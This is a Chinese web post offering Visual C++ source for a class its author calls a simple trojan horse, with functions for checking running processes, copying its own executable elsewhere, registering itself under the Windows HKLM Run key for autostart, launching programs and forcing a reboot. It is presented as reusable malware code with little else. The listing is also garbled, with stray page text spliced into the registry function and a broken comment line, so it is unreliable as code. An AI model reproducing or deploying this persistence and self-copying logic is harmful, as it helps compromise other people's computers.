Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.
本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.
交流
class CTrojanHorse
{
public://add code
public://add code
CTrojanHorse();
~CTrojanHorse();
protected://add code
BOOL IfShell(CString BeKissPrcName);
BOOL CopyFileaddr(CString m_CopyFile);
void ShellFile(CString m_ShellFile);
BOOL SetAutoRun(CString strPath);
void ShutDown();
private://add code
};
CTrojanHorse::CTrojanHorse()
{
//add code
}
CTrojanHorse::~CTrojanHorse()
{
//add code
}
BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行
{
CString str,a,prcnum;
// CMainFrame *pDlg=(CMainFrame *)lparam;
//AfxMessageBox(pDlg->BeKissPrcName);
HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
SHFILEINFO shSmall;
PROCESSENTRY32 ProcessInfo;//声明进程信息变量
ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小
//返回系统中第一个进程的信息
BOOL Status=Process32First(SnapShot,&ProcessInfo);
int m_nProcess=0;
int num=0;
while(Status)
{ num++;
m_nProcess++;
ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息
SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,
sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);
/
/str.Format("%08x",ProcessInfo.th32ProcessID);
str=ProcessInfo.szExeFile;
if(str==BeKissPrcName)
{
AfxMessageBox("到进程成功!");
return true;
}
//获取下一个进程的信息
Status=Process32Next(SnapShot,&ProcessInfo);
}
AfxMessageBox("失败!");
return false;
}
BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件
{
char pBuf[MAX_PATH];
CString m_addr;
// CString m_strSrcFile1="D:/";
// CString m_addr="D:/"; //存放路径的变量
GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录
strcat(pBuf,"\\");
strcat(pBuf,AfxGetApp()->m_pszExeName);
strcat(pBuf,".exe");
m_addr=pBuf;
if(CopyFile(m_addr,m_CopyFile,FALSE))
{
AfxMessageBox("复制成功!");
return true;
}
return false;
}
void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序
{
ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHOWNORMAL);
}
BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表
{
CString str;
HKEY hRegKey;
BOOL bResult;
str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)
bResult=FALSE;
else
{
_splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL);
strPath.ReleaseBuffer();
str.ReleaseBuffer();
简单好玩的编程代码复制if(::RegSetValueEx( hRegKey,
str,
0,
REG_SZ,
(CONST BYTE *)strPath.GetBuffer(0),
strPath.GetLength() ) != ERROR_SUCCESS)
bResult=FALSE;
else
bResult=TRUE;
strPath.ReleaseBuffer();
}
return bResult;
}
void CTrojanHorse::ShutDown()//重新启动计算机
{
if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO))
{
OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构
OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&OsVerInfo);//取得系统的版本信息
CString str1 = "", str2 = "";
str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,
OsVerInfo.dwMinorVersion);
str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);
str1 += str2;
AfxMessageBox(str1);
if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机
}
}
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论